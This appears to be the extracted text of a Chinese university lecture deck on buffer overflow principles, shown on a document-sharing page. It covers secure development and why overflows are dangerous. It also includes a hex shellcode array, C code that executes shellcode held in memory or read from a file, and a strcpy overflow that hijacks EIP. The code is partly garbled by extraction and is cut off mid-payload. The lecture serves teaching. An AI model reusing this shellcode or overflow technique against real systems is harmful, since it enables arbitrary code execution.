《缓冲区溢出概述》PPT课件.ppt_第1页
《缓冲区溢出概述》PPT课件.ppt_第2页
《缓冲区溢出概述》PPT课件.ppt_第3页
《缓冲区溢出概述》PPT课件.ppt_第4页
《缓冲区溢出概述》PPT课件.ppt_第5页
已阅读5页,还剩12页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、缓冲区溢出原理,教 师:姚砺 办公室:计算机学院楼121 Email: ,内容,软件开发的安全性,缓冲区溢出原理,软件质量,软件质量问题引发的事故 根据美国航空业的调查表明,由于软件质量问题导致的经济损失巨大: 1996年损失6.4亿美元、1997年损失1.17亿美元、1998年损失2.55亿美元、1999年损失16亿美元。 “运行正确”的程序就是高质量的程序吗? 也许运行速度很低并且浪费内存;(性能差) 也许代码的安全性很差;(有漏洞) 也许代码写得一塌糊涂;(可维护性差) 也许已经没有也许,软件质量,McCall的软件质量模型,软件开发的安全性,随着企业一窝蜂似地采用电子商务,安全性不再是

2、一件微不足道的事情了,它已经开始成为一个重要的问题。 作为开发人员,必须保证所编写的系统的安全性。 但是,安全性不是一个可被添加到现有系统的功能部件。和许多用收缩性薄膜包装用户商品的供应商所认为的相反,不能在完成系统之后把有效的安全性象拧螺丝一样拧到系统中去。安全性是软件系统在系统范围存在的特性。因此,从设计软件的最开始就应该考虑到安全性。 安全性就象保险、可依赖性、可靠性或任何其它的软件 特性。就如同使用一个不可靠系统再添加一个“可靠性”模块然后希望获得无错的软件是不可能的一样,把安全性象另外一个功能部件一样添加到应用程序也是不可能的。 “插入修补”方法不是一个好方法 许多众所周知的软件供应

3、商好象不理解安全性不是一种可添加的功能部件。他们继续以惊人的速度设计并生产产品,而很少注意安全性。他们只有在其产品遭到公开地(并且经常是突如其来地)损害时才开始担心安全性。然后,他们匆忙赶制出一个补丁程序,而不是意识到从一开始就考虑安全性是更好的办法。,软件开发的安全性,这种方法在电子商务应用程序中行不通。 问题包括: 开发人员只能够修补他们知道的问题。攻击者可能会找到他们决不会向开发人员报告的问题。 由于系统管理员通常工作过度,并且他们不想更改“有效”的系统,因此他们一般不会应用补丁程序。有时管理员甚至没有意识到应该将某一重要的补丁程序应用到系统上。 供应商们通常是迫于市场压力才赶制出补丁程

4、序,因此经常会在补丁程序中引入新的问题。 补丁程序仅仅只是修补某一问题的症状,它们不能解决根本的原因。 因此,我们应该避免遇到试图修补一个遭到攻击者猛烈攻击的问题的绝望局面。从简单的经济性考虑,在发布软件系统之前找到并除去错误的成本比发布后再试图修复系统的成本要低得多也有效得多。通过设计安全系统、仔细实现该系统、然后在发布之前全面测试该系统,我们可以消除这些问题,并开发出一个不依赖补丁程序的真正安全的系统。,安全保证的四招: 安全性保证 设计系统时要有安全性观念。 应该在开发周期的所有阶段中考虑安全性,而不是事后想到它时再补救。安全性并不是一个随时都可以添加到系统中的基本功能部件。安全性就象容

5、错;它是一个需要有效、仔细地规划和设计的遍布于整个系统的特性。 例如:从运行支撑环境安全角度出发,应考虑操作系统、数据库、应用服务器、第三方控件等的安全性;从用户的使用角度出发,应考虑权限管理、身份验证;从数据的安全性出发,信用卡号是敏感信息,应该保护它们防止可能的窃听” 根据已知和预期的风险分析系统。 识别潜在的风险、发生这些风险的可能性以及它们可能达到的严重程度。首先识别已知的攻击可能会应用到身边系统的何处,然后按严重性给它们划分等级。风险的相对严重性非常依赖于身边系统的需要和目标。 风险评估是确定如何分配测试和分析资源的关键。 编写安全代码 安全性测试技术 进行风险测试。 从设计过程开始

6、对破坏的系统重复以上步骤。 静态分析,它不实际运行代码而只是通过查看代码以找出潜在的脆弱性 动态分析,它通过实际运行代码来测试代码。 应用常见安全性技术 许多系统架构设计师的一个常见的误解是,使系统安全的方法归根结底是防火墙和密码术。,漏洞概述,Bug与漏洞 漏洞挖掘 漏洞分析 漏洞利用,缓冲区溢出漏洞十年来最大的安全问题,在信息安全日益被人们所关注的今天,缓冲区溢出毫无疑问的是最大的安全威胁之一。Internet上的第一例蠕虫(Morris)攻击,就是利用了fingerd的缓冲区溢出漏洞。SANS评选出的2005年威胁最大的20个漏洞中,有8个跟缓冲区溢出有关。根据CERT的统计数据,近几年

7、与缓冲区溢出有关的安全事件在50%以上。 代码注入攻击 是指攻击者本地或者远程向进程的线性地址空间注入一段可执行的二进制代码,然后通过某种手段修改进程的正常控制流程,使进程执行这段代码,从而达到预定目的的攻击行为。 缓冲区溢出攻击 在严格意义上是指这一类攻击的一个子类。由于攻击者注入代码的位置通常在缓冲区,而且修改进程的正常流程往往需要利用对缓冲区缺乏边界检查的编程错误,所以,以“缓冲区溢出攻击”指代全体。,缓冲区溢出的原理,当程序写入超过缓冲区的边界时,这就是所谓的“缓冲区溢出”。发生缓冲区溢出时,会覆盖下一个相邻的内存块。由于 C 语言本质上的不安全性,所以它允许程序随意(或者更准确地说是

8、完全出于偶然)溢出缓冲区。没有运行时检查来这一防止写入超过缓冲区末尾,所以程序员必须在其自己的代码中执行这一检查,否则继续下去会遇到问题。 通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:,void function(char *str) char buffer16; strcpy(buffer,str);,为什么缓冲区溢出是安全性问题?,问题:往杯子里倒过多的水使水溢出杯子对人能造成多大的伤害? 当缓冲区溢出时,额外的数据会摧残程序将来可能要访问的其它有

9、用的数据。有时,这些其它数据的更改会导致安全性问题。 读取或写入超过缓冲区的末尾时,会导致许多不同(并且通常是不可预料的)行为: 1) 程序的执行很奇怪, 2) 程序完全失败,或者 3) 程序可以继续,而且在执行中没有任何明显不同。 缓冲区溢出的副作用取决于: 写入的数据中有多少超过缓冲区边界 当缓冲区已满并且溢出时,覆盖了哪些数据(如果有的话) 程序是否试图读取溢出期间被覆盖的数据 哪些数据最终替换被覆盖的内存 存在缓冲区溢出的程序的不确定行为使得对它们的调试异常棘手。最坏的情况是:程序可能正发生缓冲区溢出,但根本没有任何副作用的迹象。因此,缓冲区溢出问题常常在标准测试期间是发现不了的。 认

10、识缓冲区溢出的重要一点是:在发生溢出时,会潜在地修改碰巧分配在缓冲区附近的任何数据。,缓冲区溢出漏洞的危害,缓冲区溢出漏洞比其他一些黑客攻击手段更具有破坏力和隐蔽性。这也是利用缓冲区溢出漏洞进行攻击日益普遍的原因。它极容易使服务程序停止运行,服务器死机甚至删除服务器上的数据。它的隐蔽性主要表现在下面几点: 首先,漏洞被发现之前一般程序员是不会意识到自己的程序存在漏洞,漏洞的发现者往往并非编写程序的程序员,从而疏忽监测; 其次,shellcode都很短,执行时间也非常短,很难在执行过程中被发现; 第三,由于漏洞存在于防火墙内部,攻击者所发送的字符串一般情况下防火墙不会阻拦,而攻击者通过执行she

11、llcode所获得的是本来不被允许或没有权限的操作,在防火墙看来也是合理合法的。防火墙在对远程缓冲区溢出攻击的监测方面有先天的不足; 第四,一个完整的shellcode的执行并不一定会使系统报告错误,并可能不影响正常程序的运行; 第五,攻击的随机性和不可预测性使得防御攻击变得异常艰难,而没有攻击时,攻击程序并不会有什么变化这和木马有着本质的区别,这也是堆栈溢出最难被 发现的原因; 最后,缓冲区溢出漏洞的普遍存在,使得针对这种漏洞的攻击防不胜防各种补丁程序也可能存在着这种漏洞。另外,还存在着攻击者故意散布存在漏洞的应用程序的可能。攻击者还可以借用木马植入的方法,故意在被攻击者的系统中留下存在漏洞

12、的程序,这样做不会因为含有非法字段而被防火墙拒绝;或者利用病毒传播的方式来传播有漏洞的程序,和病毒不同的是,它在一个系统中只留下一份拷贝 (要发现这种情况几乎是不可能的。,缓冲区攻击的目的,攻击的目的 利用缓冲区漏洞造成被攻击者的服务拒绝 利用缓冲区漏洞提升权限 直接利用远程服务的缓冲区溢出漏洞,从远程得到目标的控制权。 攻击程序所要解决的两个问题 在被攻击程序的地址空间安排适当的代码。 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。,缓冲区溢出攻击策略之瞒天过海代码植入,/以下代码执行数组shellcode unsigned char shellcode = xEBx4

13、2x8Bx59x3Cx8Bx5Cx0Bx78x03xD9x8Bx73x20 x03xF1 x33xFFx4Fx47xADx33xEDx0FxB6x14x01x38xF2x74x08xC1 xCDx03x03xEAx40 xEBxF0 x3Bx6Cx24x04x75xE6x8Bx73x24 x03xF1x66x8Bx3Cx7Ex8Bx73x1Cx03xF1x8Bx04xBEx03xC1 x5Bx5Fx53xC3xEBx4Fx33xC0 x64x33x40 x30 x8Bx40 x0Cx8B x70 x1CxADx8Bx48x08x58x33xDBx33xFFx66xBFx33x32x57 x68

14、x75x73x65x72x8BxFCx53x51x53x50 x50 x53x57x68x54 x12x81x20 xE8x8AxFFxFFxFFxFFxD0 x8BxC8x68x25x59x3A xE4xE8x7CxFFxFFxFFxFFxD0 x59x68x97x19x6Cx2DxE8x6F xFFxFFxFFxFFxD0 xE8xACxFFxFFxFF hello,world!; void main() (void (*)() ,将需要运行的代码放从文件中读入 #include void main() unsigned char shellcode1000; FILE * fp = fo

15、pen(shellcode.txt,r); fread(shellcode,166,1,fp); shellcode166=0; fclose(fp); (void (*)() ,进一步联想,如果是一个网络程序(例如服务器),从网络接收一串数据保存到数组中并运行,而这串代码又是恶意代码. 傻不傻啊,居然会有这样的软件设计学生甲留! OK,他不能,我们让他能! 缓冲区溢出攻击之第二招:劫持EIP。,缓冲区溢出攻击策略之瞒天过海代码植入,缓冲区溢出攻击策略之劫持EIP,EIP的作用 函数调用的本质 改变程序的执行流程,#include void MyCopy( char* str ) char b

16、uff4; strcpy( buff, str ); void main() char input = aaaaaaaaaaaa; MyCopy ( input ); ,#include string.h void MyCopy( char* str ) char buff4; strcpy( buff, str ); int main() char buffer = aaaaaaaax12x45xfax7f x55x8BxECx33xC0 x50 x50 x50 xC6x45xF4x4DxC6x45xF5x53 xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6 x45xFBx44xC

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论